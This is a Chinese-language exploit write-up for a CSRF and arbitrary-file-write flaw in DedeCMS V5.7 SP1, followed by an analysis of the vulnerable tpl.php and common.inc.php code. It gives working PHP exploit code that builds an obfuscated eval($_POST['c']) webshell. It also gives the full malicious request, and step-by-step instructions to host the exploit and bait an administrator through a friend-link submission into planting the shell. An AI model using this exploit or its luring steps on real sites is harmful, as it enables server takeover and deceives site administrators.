DedeCMS友情链接漏洞,DedeCMS漏洞,
1、漏洞利用由于tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量写入任意的代码。 又由于应用没有对管理员的来源页进行任何检查,只是检查了管理员是否登陆,从而造成了CSRF漏洞。 因此可以诱导管理员以管理员的权限写入代码即可。 测试版本:DedeCMS-V5.7-UTF8-SP1-Full 20150618 exp: <?php //print_r($_SERVER); $referer = $_SERVER['HTTP_REFERER']; $dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径 //拼接 exp $muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>'; $exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php'; $url = $dede_login.$exp; //echo $url; header("location: ".$url); // send mail coder exit(); ?> 首先,将这个exp部署在公网服务器上 http://192.168.113.129/exp.php 在目标网站的申请友情链接处申请一个友情链接 http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/plus/flink_add.php 网址填写为先前的 http://192.168.113.129/exp.php, 名称随便填,也可填写诱导性关键字引发管理员好奇心。 提交成功之后等待管理员审核,当管理员审核的时候,一般情况下会点进你的网站看一下(漏洞利用关键)。 管理员审核: 后台 -> 模块 -> 辅助插件 -> 友情链接 当管理员点这个友情链接的时候,就生成了一句话shell,shell地址在/include/taglib/shell.lib.php 事实上,点击新添加的友情链接时,管理员触发了一个HTTP请求: http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?@eval($_POST[%27c%27]);?%3E&filename=shell.lib.php 页面跳转: <title>成功修改/创建文件!</title> 生成shell地址: http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/include/taglib/shell.lib.php 2、漏洞分析在tpl.php文件中 /*--------------------------- function savetagfile() { } 保存标签碎片修改 --------------------------*/ else if($action=='savetagfile') { if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename)) { ShowMsg('文件名不合法,不允许进行操作!', '-1'); exit(); } require_once(DEDEINC.'/oxwindow.class.php'); $tagname = preg_replace("#\.lib\.php$#i", "", $filename); $content = stripslashes($content); $truefile = DEDEINC.'/taglib/'.$filename; $fp = fopen($truefile, 'w'); fwrite($fp, $content); fclose($fp); $msg = " <form name='form1' action='tag_test_action.php' target='blank' method='post'> <input type='hidden' name='dopost' value='make' /> <b>测试标签:</b>(需要使用环境变量的不能在此测试) <textarea name='partcode' cols='150' rows='6' style='width:90%;'>{dede:{$tagname} }{/dede:{$tagname}}</textarea> <input name='imageField1' type='image' class='np' src='images/button_ok.gif' width='60' height='22' border='0' /> </form> "; $wintitle = "成功修改/创建文件!"; $wecome_info = "<a href='templets_tagsource.php'>标签源码碎片管理</a> >> 修改/新建标签"; $win = new OxWindow(); $win->AddTitle("修改/新建标签:"); $win->AddMsgItem($msg); $winform = $win->GetWindow("hand"," ",false); $win->Display(); exit(); } 这里是漏洞利用写入文件的地方,但是我们知道,基本所有的不安全情况,是在数据输入输出时发生的,这里的参数是怎么传递过来的呢?还有$filename和$content是怎么传递参数的呢?继续跟踪config.php又 include了 common.inc.php ,而一般情况下,类似common.php这种文件名的,里面存放着一些将会经常用到的函数。继续跟踪上去。果然发现了猫腻在common.inc.php 发现了 foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) { if($_k == 'nvarname') ${$_k} = $_v; else ${$_k} = _RunMagicQuotes($_v); } } 问题在哪呢? 这段代码大概的意思是 从数组中获取获取参数的方,这里GET,POST,COOKIE方式的参数都有了。
先来跟踪GET,二层循环中$_GET(这个可以看作是一个全局数组)**$_k ,$_v 获取数组的key value值.${$_k}这里全局注册了变量,假如输入GET型参数 ?test=k4l0n.则在本php页及所有包含本页的php页中 , $test的值都被赋值为了kl0n 继续跟踪 userLogin类的getUserID函数: /** * 获得用户的ID * * @access public * @return int */ function getUserID() { if($this->userID != '') { return $this->userID; } else { return -1; } } userLogin类用户登录 /** * 检验用户是否正确 * * @access public * @param string $username 用户名 * @param string $userpwd 密码 * @return string */ function checkUser($username, $userpwd) { global $dsql; //只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符 $this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username); $this->userPwd = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $userpwd); $pwd = substr(md5($this->userPwd), 5, 20); $dsql->SetQuery("SELECT admin.*,atype.purviews FROM `zuimoban_admin` admin LEFT JOIN `zuimoban_admintype` atype ON atype.rank=admin.usertype WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1"); $dsql->Execute(); $row = $dsql->GetObject(); if(!isset($row->pwd)) { return -1; } else if($pwd!=$row->pwd) { return -2; } else { $loginip = GetIP(); $this->userID = $row->id; $this->userType = $row->usertype; $this->userChannel = $row->typeid; $this->userName = $row->uname; $this->userPurview = $row->purviews; $inquery = "UPDATE `zuimoban_admin` SET loginip='$loginip',logintime='".time()."' WHERE id='".$row->id."'"; $dsql->ExecuteNoneQuery($inquery); $sql = "UPDATE zuimoban_member SET logintime=".time().", loginip='$loginip' WHERE mid=".$row->id; $dsql->ExecuteNoneQuery($sql); return 1; } } /** * 保持用户的会话状态 * * @access public * @return int 成功返回 1 ,失败返回 -1 */ function keepUser() { if($this->userID != '' && $this->userType != '') { global $admincachefile,$adminstyle; if(empty($adminstyle)) $adminstyle = 'dedecms'; @session_register($this->keepUserIDTag); $_SESSION[$this->keepUserIDTag] = $this->userID; @session_register($this->keepUserTypeTag); $_SESSION[$this->keepUserTypeTag] = $this->userType; @session_register($this->keepUserChannelTag); $_SESSION[$this->keepUserChannelTag] = $this->userChannel; @session_register($this->keepUserNameTag); $_SESSION[$this->keepUserNameTag] = $this->userName; @session_register($this->keepUserPurviewTag); $_SESSION[$this->keepUserPurviewTag] = $this->userPurview; @session_register($this->keepAdminStyleTag); $_SESSION[$this->keepAdminStyleTag] = $adminstyle; PutCookie('DedeUserID', $this->userID, 3600 * 24, '/'); PutCookie('DedeLoginTime', time(), 3600 * 24, '/'); $this->ReWriteAdminChannel(); return 1; } else { return -1; } } 通过跟踪发现,这里没有对管理员的来源页进行任何检查,只是检查了管理员是否登陆,这就造成了一个CSRF漏洞。到这里漏洞思路就很清晰了,由于变量可控漏洞导致可写入任意代码,由于CSRF漏洞诱导管理员以管理员的权限去写入代码。 (责任编辑:好模板) |